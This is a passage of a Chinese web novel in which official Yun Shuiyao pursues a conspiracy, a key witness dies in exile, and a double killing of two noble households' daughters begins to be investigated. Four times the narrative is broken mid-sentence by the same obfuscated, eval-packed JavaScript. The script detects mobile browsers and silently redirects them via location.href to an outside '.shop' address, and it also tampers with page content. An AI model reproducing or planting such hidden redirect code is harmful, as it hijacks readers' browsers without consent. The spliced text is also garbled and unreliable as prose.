云水谣也深感朝堂斗争的复杂,不过好在这些事情跟她暂时没有关系。至于以后,她若能升官,难免还是要卷进去的。到时,也只能步步为营了。 她忽然想到了什么,问道:“对了,还有之前安正则搜集到的幕后黑手跟盐枭勾结的事,怎么样了?” “假管家潜伏在安正则身边时,已经把这些证据销毁。且安正则若是与他当堂对峙,他肯定不承认见过这些线索。既然线索被毁,说出这件事也无益,定不了幕后之人的罪,反而显得太子一党罗织罪名,构陷他人。所以,安正则和太子在受审时,都没说这件事。” “那他们有没有私下说起,跟盐枭勾结之人就是福王呢?” “就算他们私下说起,也不会让旁人听见。否则, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447488|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万一泄密,对太子一党不利。所以,我并未听到他们说这些。” “可惜了。若这些证据没被销毁,至少能知道朝中有谁跟盐枭勾结,大概率就是福王。福王就算从百尺楼的事情中解脱出来,也会因为勾结盐枭之事而获罪。可惜两件事都被他躲了过去。” 元景佑:“从他们计划刺瞎安正则,并把假管家派到安正则身边时,就已经谋划好了这一切。” “对了,方彩杏就没说出什么有用的线索吗?她被送到幕后主子那里好多天,应该能认出那两个大盗并非是幕后主子吧?” “她也说不上来,因为她一直被关在一间屋子里,一日三餐都有人送来,她不能出去,也没见过幕后主子。” “就算如此,她如果被送到另一个地方,自己没感觉吗?” “据她自己所言,她一直在同一间屋子里,并未离开过。其实要做到这样也很容易,只需要在那大盗的住所布置一间一模一样的屋子就好了。而要将她转移时,设法让她昏迷。等她醒来,自然会觉得自己没挪动过地方。” 云水谣点头:“确实如此,这幕后之人行事,真是一点把柄也不露。” 如果那幕后之人就是福王,那福王还真是一个很可怕的人。 云水谣忽然想起了安正则,问道:“安正则现在如何了?” “他回了家,有家人和下人们照顾,生活不成问题。只是,终究是跟以前不一样了。以前围绕在他身边的一些文人清客、贵族子弟,渐渐不来找他了。听说圣上以前本想让他娶一位县主,现在也不提这事了,反而将那位县主另嫁他人。不过安正则倒是宠辱不惊,怡然自得。只是他心里如何想,就只有他自己知道了。” 想起安正则风清月朗的模样,云水谣感到有些心疼。 元景佑又道:“不过安正则虽然眼盲,但还是能弹琴作曲。我父亲在太常寺任职,请求皇上让安正则担任协律郎,掌管音乐,皇上同意了。虽然协律郎品级低,又是个闲职,但总好过在家里无所事事。” 云水谣笑道:“这样也好。” 没过多久,雍州刺史顾鸣泉就回来了。这次只是虚惊一场,他并未受太大影响,只是有几分劫后余生的疲惫。 吴长史已被处斩,朝廷派了一位新的长史过来,竟是游击将军杜羽。 从此,杜羽便和云水谣在一处为官了。 杜羽还带来一些皇帝的赏赐,是皇帝特意赏给云水谣的,奖励她在百尺楼一案中做出的贡献。 这些奖励除了钱之外,还有绸缎、古董、食物、摆件等。云水谣兴高采烈,把自己喜欢的留下了,剩下的分给同僚和下属、丫环们,让大家都沾沾喜气。 云水谣随口说道:“若是皇上给我的奖励是升官就好了。” 杜羽笑道:“司马的官职已经很高了,你需要做出更多贡献,才有升官的机会。” 90.暴毙 “说得对,再接再厉。” 云水谣在酒楼设宴,一来为迎接杜羽到任,二来为顾刺史接风洗尘。她还用一些柚子叶泡水,让顾刺史洗去身上晦气。 顾刺史笑道:“晦气去,好运来。” 云水谣道:“好运都到我这儿来,多多益善。” 说得众人都笑了。 顾刺史回来后,重新分配了工作。之前吴长史让云水谣统计人口,顾刺史觉得这工作简单枯燥,并不适合云水谣,便委派了别人。 他让云水谣整理档房的陈旧书册,若有无用的,就销毁;若是有用但字迹不清晰的,就想办法复原。 云水谣便带着柳依依等人,每日整理文册。 这日,整理悬案卷宗时,云水谣却发现,雍州下辖的很多个县其实都有女孩失踪案,跟之前的洛县一样。 当时,云水谣和孟荀为了调查女孩失踪案是否是一个普遍案件,还专门来到雍州府,请雍州属官帮忙调查其他县的卷宗。 不过,当时的雍州长史陆映澜只想勾,引云水谣二人,并没有帮她们查阅卷宗。而当时的雍州司马元澄查阅卷宗后,则是说其他县并没有这样的女孩失踪案。 现在回想起来,元澄为何要在这件事上撒谎?他当时的主要目的是除去元景佑,坐稳世子之位。至于其他案件,对他并无妨碍。 如今想来,也许元澄本就跟百尺楼有勾结,所以明知道他们在许多地方拐走女孩作为预备杀手,也帮着隐瞒。 百尺楼的幕后主子很可能是福王,所以元澄应该也是福王的人。元澄很有可能知道百尺楼的一些秘辛。而他现在已被流放到岭南,应该很希望能回京城。 如果能暗中联络到元澄,让他说出百尺楼的大统领和幕后主子是谁,也许便能戴罪立功,说不定皇帝会赦免他,让他过上好一些的日子。 于是,云水谣先私底下跟元景佑商量这件事。 元景佑道:“如果元澄真的跟百尺楼有勾结,那他会是一个很好的人证。像元澄这种身份的人,绝不是两个江洋大盗所能笼络到的。所以,福王所谓的两个大盗是百尺楼大统领和幕后主人的说法,将会不攻自破。” 云水谣道:“如果要暗中联络元澄,我觉得你是一个比较好的人选。只是,你是否还介意他之前做的事,不愿给他翻身的机会?” 元景佑道:“以前的事我倒不介意,反正他已经受到了惩罚,且没有能力再伤害我了。而且,就算他检举有功,皇上也不可能给他很高的地位。我唯一担心的是,他会因为怨恨我而不肯说实话。” “他在流放地应该吃了不少苦,如果他有机会回来,应该很想抓住这个机会的。到时候你只需晓之以利,他便会听你的。” “也好,可以一试。” 云水谣也跟顾刺史说了,顾刺史也很赞同这么做。于是,元景佑便偷偷出发,去了岭南。 大约等了两个多月,元景佑回来了,只是神色有些不佳。 云水谣问道:“事情怎么样了?” 元景佑摇头:“不成了。元澄死了。” “怎会如此?” 元景佑便将自己去岭南的经历简单说了一下。 他来到岭南后,偷偷找到了元澄,元澄正在一座矿山服劳役。他见到元景佑,非常激动,说都是元景佑把自己害成这样,自己才是镇国公府的世子,元景佑没资格取代他。 元景佑也不跟他争辩,直接告诉他,现在有一个回京城的机会,只看他肯不肯说出百尺楼真正的主子和大统领是谁。 元澄一开始说自己什么都不知道,元景佑作势要走。元澄急了,忙说自己愿意说实话。 于是,元景佑就把他带到僻静处问话。元澄说,百尺楼的幕后主子是福王,但百尺楼大统领他也不知道是谁,从来没见过。每次他要联络百尺楼时,百尺楼都会派一个蓝衣人来跟他接头。之前他要找百尺楼的杀手追杀元景佑,其实也没花多少钱,因为他在为福王做事,百尺楼卖他一个面子,每次都象征性地收点钱就算了。他并非百尺楼的首领,所以对于百尺楼的很多秘密他并不了解。 元澄知道百尺楼在各县抓走女孩是为了培养成杀手,所以对于这些案件,他都睁只眼闭只眼,若是有人来查,他还会帮忙隐瞒。 元澄所知道的事情虽然不多,但也够用了。元景佑本想暗中将元澄带回京城,让他去皇上面前说。但元澄是流放的犯人,要带他走,需要花一番功夫。 元景佑正在设法打通关系的时候,却传来消息,有个正在服役的犯人死了。元景佑跑过去一看,死的正是元澄。 元景佑很惊讶,给他简单地验了尸,却没发现具体的死因是什么,旁人都说元澄是得了急病死的。 元澄的尸体被草草掩埋,元景佑不宜久留,便回到了雍州。 云水谣听了这段经历,也是十分惊讶,道:“他是突然死的?会不会是被灭口了?” “我也有此怀疑,只是没有证据。而且,我们并没有资格调查元澄的死因。他已经被埋葬了,现在一切都来不及了。” 云水谣皱眉道:“实在太巧了……元澄正当壮年,即便长期劳作,想必也不会那么快死……这里面一定有猫腻,如今我们也只能算了。对了,你这次去岭南,有见到我的家人吗?” “我本来是想去看看的,但时间紧急,来不及去。” “罢了,她们应该安好,否则会有讣告传来的。” “大人别担心,流放地的官员也是有考核要求的,如果犯人死伤太多,他们也要受罚。所以他们不太会虐待犯人。” “但愿吧。” 失去了元澄这个线索,云水谣有些沮丧,但也只能勉强打起精神来,投入到工作中。 这日是休沐日,云水谣想约杜羽一起去踏青,杜羽却道:“飞驰马场新到了几匹大宛马,听说这大宛马野性难驯,只有能将其驯服者,才能买走,我打算去试试。” 云水谣道:“听说大宛马是西域名种,其耐力、体力、战斗力都比中原的马高出一大截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456688|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,难怪杜长史见猎心喜。” 杜羽笑道:“我这时常领兵之人,若有大宛马当坐骑,可谓是事半功倍。我走了。” 杜羽朝云水谣拱了拱手,便往飞驰马场而去。 飞驰马场是本地一个富商所建,里面养着各种名马,既可以付钱去里面骑马,也可以去那儿买马。像大宛马这种名种,桀骜不驯,即便有钱也未必能买。如果它不认你为主,买回去也骑不了。 云水谣问身后的元景佑:“景佑,你要不要也去马场?” “我父亲送了我好几匹马,已经够我骑了。大宛马适合在沙场奔驰,平时骑的话,不需要买这种名马,不然就是大材小用了。” “也好,那不去马场的话,我们去勾栏听戏吧。听说那儿新上了几部戏。” 勾栏是戏剧演出的场所,虽是娱乐场所,却跟秦楼楚馆有所不同。那里都是正经演戏剧的,不会有一些乌七八糟的事,所以官员也可以前往。 元景佑虽然对听戏不太感兴趣,但是见云水谣兴致勃勃,也便答应前往。 谁知,一到勾栏,他便被台上的一出戏吸引住了。 这出戏名叫《还魂草》,讲的是一个女孩嫁人之后被夫君辜负,被小妾欺负,她十分后悔,觉得自己选错了人。如果能重来一世,她一定会过得更好。这时,她遇见了一个道士,道士给了她还魂草。服用之后,她便可以回到过去,改变自己的人生。 于是,这个女孩回到了过去。这次,她选择了另一个男人作为自己的夫婿。可是,这个男人虽不花心、不纳妾,也尊重她,但却没什么谋生的本事,她们夫妻大半辈子过得颠沛流离,非常辛苦。这个女孩又后悔了,想再选一次。因为她年轻时,追求她的人很多。 她觉得自己前两次眼光不好,第三次一定能选到好的。这时,那个道士又出现了,女孩请求他再给自己一株还魂草。道士却拒绝了,对她说,如果她永远把希望寄托在别人身上,重生多少次都是没用的。自助者天助之,自立者方能过好人生。 听闻此言,女孩豁然开朗。她不再督促夫君出去挣钱,而是自己苦练厨艺,成为大厨,最终赚到了许多钱。这耗费了她许多年的光阴,她也吃了不少苦,但她觉得一切都是值得的。当她取得成功时,她忽然发现,情情爱爱的也没那么重要了。 这出戏演完,许多人都拍手叫好。元景佑转头看着云水谣,见她也看得津津有味。 云水谣笑道:“这出戏倒有意思,不是那种才子佳人的套路,反而别具匠心,教人自立,实在新奇。我也是头一回见。” 元景佑道:“我也从未听过这样的戏,不知是哪位话本先生写的。” 邻座的人听了她们的对话,说道:“话本先生在第一排坐着呢,那个粉衣服的姑娘就是。” 云水谣往第一排看去,见到一个身材瘦削、双眸闪耀的年轻女孩。这女孩容颜秀丽,只是脸色有些苍白,还有黑眼圈,像是常年没休息好。 见云水谣看她,她也看了过来。 91.涨价 云水谣还没见过女的话本先生,便有心结识。 话本先生是写话本之人的统称,女人若干这一行,也是称为话本先生,只是这一行很少有女人。 云水谣走了过去,跟那女孩攀谈几句。 言谈间,得知这女孩叫秦婉君,是个孤女。因没有亲人,目前独居,以写话本为生。 云水谣十分佩服,对秦婉君说道:“姑娘真是才华横溢,心思灵巧。跟你一比,其他话本先生都显得俗套了。” 秦婉君笑道:“云姑娘谬赞了。若是喜欢,下次再来听我的戏。” 云水谣并未透露自己的身份,只说了自己姓云,故而秦婉君只是称她为云姑娘。 云水谣道:“我有空一定来听。不知姑娘的新戏什么时候演出?” “估计两月后便有新戏了。” “你写得这么快?” “是啊,有灵感就写了。” 一出戏大概有十几万字或二十万字,且构思起来极耗费精力,寻常的话本先生一年也就写一两部。可这秦婉君两个月便能写一出新戏,可见其才智过人,非常人能比。 云水谣觉得,秦婉君如果有机会参加女科举,说不定也能中进士。 可惜目前女科举只举办了一次,还只对贵族女子开放,不知道下一次是什么时候。 百姓之中,也不乏沧海遗珠。人才埋没,实为可惜。 云水谣决定,若是自己成为高官,能在朝堂上说得上话了,一定要提议让平民女性也参加女科举,选拔更多人才。 她跟秦婉君又聊了几句,十分投契,尽欢而散。 等回到官衙时,她见到杜羽的坐骑被拴在一边吃草,便知杜羽回来了。 她问牵马的小厮:“杜长史现在在哪?” 小厮却道:“杜长史受伤了,正在房内休息。” 云水谣吓了一跳,赶紧跟元景佑一起去杜羽的房间。 只见杜羽的房间有一块屏风作为隔断,透过屏风,隐隐约约可以看见杜羽半躺在床上。 云水谣问道:“杜长史,你受伤了吗?” 杜羽道:“无妨,只是骨折而已。” 说着,杜羽便命人撤掉屏风。云水谣看见杜羽脸色有些苍白,额上还有冷汗,右腿上夹着夹板,看来挺疼的。 云水谣问道:“杜长史为何会骨折?” 杜羽笑道:“说来丢脸,我今日去马场驯马,谁知我选的那匹马异常凶猛,我使尽浑身解数也没法将其驯服,反而被它摔下来。还好没有大碍,只是骨折了。大夫说,休息半个月便能走路了,但若要完全好,大概要三个月。” “那杜长史好好休息吧。” 云水谣还是第一次见到杜羽因为驯马而受伤。杜羽从前便有擅长驯马的名声,不管多烈的马,到了杜羽这里都手到擒来。没想到,这次竟会被马摔伤,看来这大宛马果真野性难驯。 她走出了房间,让杜羽好好休息。 云水谣想着,杜羽骨折了,应该吃点清淡的东西。因此,她让丫环们做了萝卜鸡蛋汤、虾仁豆腐、桂花糖藕、白灼青菜等菜品,亲自带给杜羽,还带了新鲜的牛乳。 到了杜羽房间才发现,杜羽的下人们已经准备了一桌丰富的菜肴。 云水谣笑道:“杜长史已经有东西吃了,怕是吃不下我的了。” 杜羽道:“你带来的菜,看起来更有食欲,还是吃你那些吧。” 杜羽把自己面前的菜都赏给下人们吃了,自己吃云水谣带来的菜。 云水谣心中有些高兴,且杜羽吃得多,证明他身体不是很虚弱,那很快就能恢复精神了。 有个小厮站在旁边伺候,道:“公子,您刚才不是还说没胃口吗?怎么云大人拿来的食物您都能吃完?” 杜羽白了他一眼:“多嘴。” 小厮赶紧低头闭嘴,云水谣暗暗发笑。 过了一会,小厮又问:“曲离侯本来邀您明日过府饮宴,是否要推了?” 杜羽道:“叔父多次相邀,我都因为公务繁忙,未曾前往。明日还是过去吧,我坐轮椅就行。” “公子,坐轮椅会不会不方便?” “只要我的脚不动,没什么不方便的。” 云水谣问杜羽:“您的叔父也住在雍州城中?” 杜羽道:“正是。我有个族叔杜溪山,受封曲离侯。他的封地离雍州不远,但没有雍州繁华,所以他一直住在雍州。前阵子他得了一些新奇的食物,一直想邀我过去尝尝,我都因为公务繁忙推拒了。如今我受伤了,索性把公务放一放,先去赴了宴再说。” 云水谣这才明白。 他们又聊了几句,云水谣便离开了。 晚上,杜羽回到衙门,却是一副若有所思的神情。 云水谣见了,便问道:“杜长史,今日你叔父家的酒席好吃吗?” “自然是好吃的。” 他似乎还想说些别的,但一直在沉思,并未说出来。云水谣也没问,可能是杜羽正在为手头的事务而烦心吧。 因杜羽受伤,精神不济,许多事务便都由云水谣来办。接下来的几天,云水谣忙得脚不沾地。 这天,云水谣拿着一卷书册,却怎么也看不进去,一直在发呆。 元景佑见了,道:“大人这是太辛苦了,出去走走吧。” “也好。我许久不曾吃豆腐脑了,咱们找个地方吃去吧。” “我正好知道一家店,做的豆腐脑很好吃,我带大人前去。” 他们来到一家小巧精致的酒楼,元景佑先让云水谣点了几样爱吃的菜,然后对小二说道:“再来两碗咸豆腐脑,一碗放葱花,一碗不放。” 元景佑记得云水谣爱吃咸豆腐脑,且不吃葱花,云水谣觉得他很细心,心中暗暗欢喜。 谁知,小二却说道:“两位客官,豆腐脑现在是二百文钱一碗,您要两碗,那就是四百文,提前跟您说一声。” 元景佑惊讶:“二百文?昨日不是才一百五十文吗?” 云水谣更惊讶:“不是,昨日的豆腐脑要一百五十文?豆腐脑不都是十文钱一碗吗?就算在高档一些的酒楼,最多也不过收到二三十文一碗。” 小二道:“两位客官有所不知,这豆子一天一个价,涨了好多倍,连带着各种豆制品也涨价了。就这两百文一碗的价,您去别处吃还没有呢。也是我们老板跟卖豆子的关系好,这才又买回来一袋豆子,到了明日兴许就没有了。” 云水谣问道:“这是为何?难道偌大的雍州城,连豆子都找不出来了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464379|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 小二道:“您说对了,这些天,还真是一豆难求。我们这雍州城,以种水稻、甘蔗、玉米、菜和一些药材为主,很少有种豆子的。城内的大部分豆子,都是从宁州转运而来,走的是水路。可是数日前,从宁州而来的十几艘运豆船竟然都翻了,虽然船员大部分都逃回了岸上,但豆子沉入水底,哪还找得到? 于是,城内所有的酒楼、小吃摊、药房、还有许多百姓官绅,都只能去粮油店或菜农手里买他们储存的豆子。可他们储存的豆子也不多,根本供不应求,价格才一涨再涨。可到了这两日,城内储存的豆子基本上都耗光了,再过两日,可能有钱也买不到豆子了。” 云水谣皱眉道:“竟有此事……官府派人调查了吗?” 元景佑道:“此事我前几日便知道了,但翻船的地点在扬州的河道上,不归我们管辖,还需等扬州那边的调查结果。” 从宁州到雍州,要途径扬州,云水谣倒是知道。 她问元景佑:“那接下来的日子,难道百姓们就没豆子吃了吗?” 元景佑刚要说话,小二问道:“二位客官,那豆腐脑你们还要不要?” 元景佑道:“要,你尽管上菜,我们有钱。” “好嘞。” 等小二去忙了,元景佑道:“宁州那边每个月会运一次豆子过来,这个月的船翻了,只需等到下个月,自然还有豆子。” 云水谣皱眉思索:“你说这运豆船翻船,会不会是人为?如果是船遇到水下暗流,或是因为船底部漏了,因此才翻了,这属于偶然事件,怎么会恰好所有的运豆船都翻了?” 元景佑道:“属下也觉得奇怪,但想不出人为翻船的动机。如果是有人想劫船求财,为何不去劫那些装满了金银财宝的商船,而是要弄翻运豆船?如果是有人想抬高豆子价格,大赚一笔,因此才把运豆船凿了,可这雍州城内,并没有人事先囤积大量豆子,借这个机会发财。 所有卖食品的商家,似乎都料不到豆子会出现短缺,所以没有人事先囤货,才造成城内一豆难求的景象。而且,也并没有外面来的人,突然运来许多豆子,趁此机会发财。可见就算是人为,那些人也没有把落入水中的豆子收集起来。那他们为何要花那么大的力气,让运豆船全部翻了?” 云水谣道:“而且豆子不是非吃不可的东西,对方让全雍州城的人没豆子吃,对雍州百姓并没有多大的妨碍,对他自己又没什么好处。这明显是损人不利己。” 二人讨论了一番,没有结果,也只能等待扬州官府的调查结果了。 过了一会,豆腐脑上来了,云水谣觉得特别好吃,大概是因为这豆腐脑花了两百文吧。 吃完之后,已经有些晚了。云水谣回到房间,丫环给她泡了脚,她马上就入睡了。 可是,今晚她却睡得很不安稳,总感觉心一跳一跳的,似乎有一种不好的预感。她调整呼吸,但效果不大,直到三更时分,才勉强睡着。到了五更时分,她却惊醒了。 窗外还是黑的,几颗疏星挂在天边。几只乌鸦在外面唱歌,呕哑嘲哳,闻之令人烦闷。 这时,却见丫环兰心急匆匆地跑进来,叫道:“小姐,不好了,刚才诚安伯府的人来报案,说是他们家的两位小姐都死于非命!” 92.四人 云水谣本有些昏昏沉沉,听闻此言,立刻惊得清醒过来,问道:“是诚安伯府?” “正是,来报信的衙役是这么说的。衙役让小姐赶快起床去处理此事,我本想等小姐睡醒再说,可衙役一再催促,说诚安伯府的事情是缓不得的,所以奴婢才这么早来吵醒小姐,请小姐勿怪。” 云水谣道:“无妨,我本来也醒来了。” 顾刺史最近率兵剿匪去了,杜羽又伤了腿,不良于行,如今能处理此案的,只有云水谣了。 云水谣不敢怠慢,赶紧穿好衣服,匆匆拿毛巾擦了擦脸,便朝衙门走去。 诚安伯孟吟秋是居住在雍州城中的勋爵之一,地位很高,且属于五姓七家之一的易水孟氏。即便见了州中长官,他也无需行礼的。 而且他是孟荀的叔父,那他的女儿便该是孟荀的堂妹了。 孟荀是云水谣的好友,听闻她的堂妹死了,云水谣自然着急且慌张。 此案不破,她也无颜面对孟荀。 云水谣来到官衙,却发现杜羽也在。他仍是坐着轮椅,脸色惨白,神情萎靡,似乎有十分伤心之事。 云水谣问道:“杜长史,怎么你也这么早起床到衙门来了?” 杜羽声音低沉:“刚才我叔父家的下人来报,说我叔父家的两个堂妹过世,因此我叫叔父家的下人先来衙门录口供。” “什么?曲离侯的两位千金殁了?死的不是诚安伯家的两位小姐吗?” 杜羽也十分震惊:“诚安伯府?” “正是,衙役来跟我说的是诚安伯府。” 云水谣和杜羽询问了报案的下人,才搞明白,原来诚安伯府和曲离侯府各有两位千金死了,一共死了四位姑娘。 这两桩案子透露出一股不寻常的气息。 云水谣压下震惊的情绪,对来报案的人说道:“诚安伯府和曲离侯府的人分别站在左右两侧,不要混淆。诚安伯府的人先把案情说一下。” 诚安伯府的下人便说道:“回大人,今日凌晨寅时四刻左右,我们大小姐房中的丫环七彩迷迷糊糊间闻到血腥味,因此惊醒,却发现大小姐、二小姐死在床上。二小姐似乎是被掐死,而大小姐心口处插着一枚金簪,像是用金簪自刺心口而亡。 丫环七彩赶紧禀告老爷夫人,老爷夫人哭了一场,想到要报官,但又觉得此时太早了,犹豫了一会还是决定叫醒诸位大人断案,毕竟人命关天。因此,老爷命小人带领几个心腹,来到衙门报官。” 听了这些话,云水谣还未说什么,曲离侯府的下人却有些激动,似乎想说话。 云水谣道:“曲离侯府的人先别说话,待本官问诚安伯府的人几个问题。” 说着,她看向诚安伯府的下人,问道:“你们大小姐、二小姐睡在一个房间?” “回大人,她们各自有房间,只是昨晚不知为何睡在一起。” “她们多大年纪?” “大小姐、二小姐均是十六岁,因大小姐嫡出,二小姐庶出,不是同一个生母,所以是同一年出生。” 云水谣点头:“嗯。昨天晚上,只有一个丫环守夜?” “是的,大小姐身边的下人是轮流守夜,昨日刚好轮到丫环七彩。二小姐本来也该有个守夜丫环,但因为她跟大小姐同住,七彩便说由自己一人照看便可,让二小姐的守夜丫环去休息了。” “丫环七彩可曾到来?” “她因太过伤心,哭晕过去,没有前来。大人可前往诚安伯府,便能见到七彩。” 事发时,只有这个丫环在场,那么这个丫环就是关键人物,云水谣希望从她身上能找到突破口。 云水谣见书吏已经把这些话记录下来,便转头问曲离侯府的下人:“轮到你们了,你们也把案情详细说明。” 曲离侯府的下人道:“大人,我们不必细说了,情况跟诚安伯府一样。” 云水谣皱眉:“这是何意?” “回大人,我们府上也是类似的情况。昨晚我们大小姐和二小姐突然要一起睡觉,结果在今日寅时四刻左右,丫环青叶闻到血腥味惊醒,见两位小姐已经死了,大小姐以银簪刺入心口,二小姐也是被掐死。” “事发时只有一个丫环守着?” “正是。” 云水谣和杜羽对视了一眼,都从对方眼中看到了惊讶。 这两起案子,怎么会如此相似?连死法都一样……怪不得刚才诚安伯府的下人说案情时,曲离侯府的下人也想说话。恐怕他们当时想说的是:怎么两件案子一模一样? 云水谣越发觉得,此事背后并不简单。 她问清了四位死者的姓名:诚安伯孟家的两位小姐叫孟芳茵、孟芳茹;曲离侯杜家的两位小姐叫杜虹衣、杜霓裳。 杜羽道:“看来得先去这两家看看情况,我去我叔父家,你去诚安伯府。” 云水谣道:“我们还是换一下吧,我去曲离侯府,你去诚安伯府。” 曲离侯是杜羽的族叔,两位死去的侯府小姐是杜羽的堂妹。如果杜羽去曲离侯府调查,一来不合流程,因为官员不能直接办理近亲的案子;二来也怕他见到亲人的尸体会太过伤心,没法查案。因此云水谣才提议交换一下。 杜羽感念云水谣的细心,同意了她的建议。 于是,云水谣便往曲离侯杜家调查,而杜羽去了诚安伯孟家。 其实细论起来,五姓七家之间经常互相通婚,杜羽跟孟家也沾亲带故,孟家两位死去的姑娘可以说是他的远房表妹。只是这两位跟他关系较远,不如孟荀那般亲近,所以他调查起来应该能保持冷静,不会失态。 云水谣带上仵作、柳依依、元景佑等人,策马前去曲离侯杜家。由于此次要给侯府未出阁的两位小姐验尸,考虑到男仵作不方便,云水谣特意找了个女仵作。 大约半个多时辰后,便来到了曲离侯府。往常热闹煊赫的侯府,如今平添了几分凄凉之意,门口已经有下人在挂白幡,准备为两位小姐办丧事。 下人们见云水谣来了,便赶紧进去通报,曲离侯夫妇前来迎接。 云水谣知道他们心中悲痛,是以也没让他们多礼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467866|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接说自己来调查两位小姐的案子,请他们带自己前去死者房间。 曲离侯夫妇忍着哀恸,在前面带路。 没过多久,便到了大小姐杜虹衣的房间。云水谣闻到一股淡淡的血腥味。 走进去后,两具尸体就在床上放着,还保持着原来的姿势,未曾移动。大小姐杜虹衣的心口有许多血迹,一枚金簪歪歪斜斜地刺入她的心口处,扎进去很深,只留下顶部的一小段露在外面。大概是因为死前十分痛苦,她的身体侧向里面,蜷缩着,眉头紧皱。 二小姐杜霓裳平躺着,脸颊青紫,双眼凸出,脖子上有掐痕,一眼看过去,似乎是被掐死的。 云水谣叫女仵作验尸,曲离侯夫妇一开始不愿意,道:“大人,我们不愿意女儿的尸体被外人看见。” 云水谣道:“验尸之后,才能明确死因,方便找出真凶。且本官找的是女仵作,不妨事的。” 曲离侯夫人有些难受,道:“那……会不会剖尸?” “如果从外表就能看出死因,就无需剖尸。” 曲离侯夫人还是有些担心,频频望向女儿的尸体方向。 云水谣为了让仵作专心验尸,吩咐人拿屏风放在床前,除仵作外,其他人不得走到屏风后面。 接着,她询问守夜的丫环七彩何在。 旁边走出来一个穿粉色上袄、白色下裙,浑身是血的瘦小丫环,应道:“回大人,奴婢就是七彩。” 见她身上有许多血迹,云水谣问道:“你身上的血是哪里来的?” 七彩支支吾吾的,不敢回答。 这时,曲离侯有些不好意思地说:“这丫环身上的伤,是被我打的。因我方才看见两个女儿惨死,太过伤心气愤,便拷打这丫环,逼问她凶手是谁。她说她不知道,我愈发生气,下手就重了些……” 云水谣暗暗摇头,但此刻也不是计较这些的时候。她让衙役拿来伤药,让这丫环一边涂药,一边回答问题。 丫环七彩接过了药膏,只能暂时涂抹一下脖子、手臂和脸颊处,其他地方要么涂不到,要么不方便当众涂抹。药膏涂上去很疼,但她也只是微微皱眉,不敢出声。 云水谣有些心疼她,但此刻还是以案情为重,因此便柔声问道:“七彩,本官问你什么,你答什么。如果有不知道的,如实说便可,本官不会责罚你的。” “是,多谢大人。” “昨天晚上,只有你一人守夜?” “是。” “昨天半夜,你可曾听见什么动静?” “没有。昨天晚上,两位小姐在戌时五刻左右便睡了,奴婢因过于劳累,也很快睡着了,中间并没有醒来。等到今天凌晨寅时四刻左右,奴婢迷迷糊糊间闻到血腥味,便醒了过来,发现两位小姐已死。奴婢吓坏了,赶紧通知其他人。老爷和夫人到来之后,伤心了一会,便……便拷问奴婢,可奴婢什么都不知道。” “你家大小姐被金簪刺死,死前十分痛苦,应该会发出声音。二小姐被掐死,应该也会有一些动静。你怎么会一点声音都没听见?” 93.推测 “确实没有,因为昨日白天太过劳累,晚上奴婢睡得很死。” “昨日白天你干了什么导致劳累?” “昨日奴婢熬了鸡汤,准备拿给大小姐喝,半路上见到了大小姐的奶娘。奶娘一向不喜欢我,看见我手上的汤盅,便说大小姐肠胃虚弱,不宜喝鸡汤,说我不会伺候,不上心。我辩解了几句,说大小姐的肠胃已经养好了,是大夫说让她多喝鸡汤的。奶娘见我辩解,十分生气,便罚我去马厩给马洗澡。因为我从未干过如此重活,干完之后就很累,等到晚上,终于能睡觉了,便睡得很沉。” 云水谣问道:“大小姐的奶娘是哪一位?” 一位面相刻薄的胖妇人走了出来,道:“回大人,奴婢便是大小姐的奶娘钱氏。” “钱妈妈,昨日的事是否确实如七彩所说的那样?” “回大人,奴婢确实让七彩去马厩干活了,不过这并不算为难她。我身为大小姐身边的老人,教训这种偷懒耍滑的奴婢,本来也是分内之事。大小姐是我一手带大的,她的身体我能不清楚吗?从小到大,她一喝鸡汤就腹泻,我是牢记在心的。若贴身照顾大小姐的还是老奴,老奴断然不会让鸡汤出现在大小姐跟前。七彩这种小妮子,懂得什么?把大小姐的身体弄坏了,于她有什么好处?” 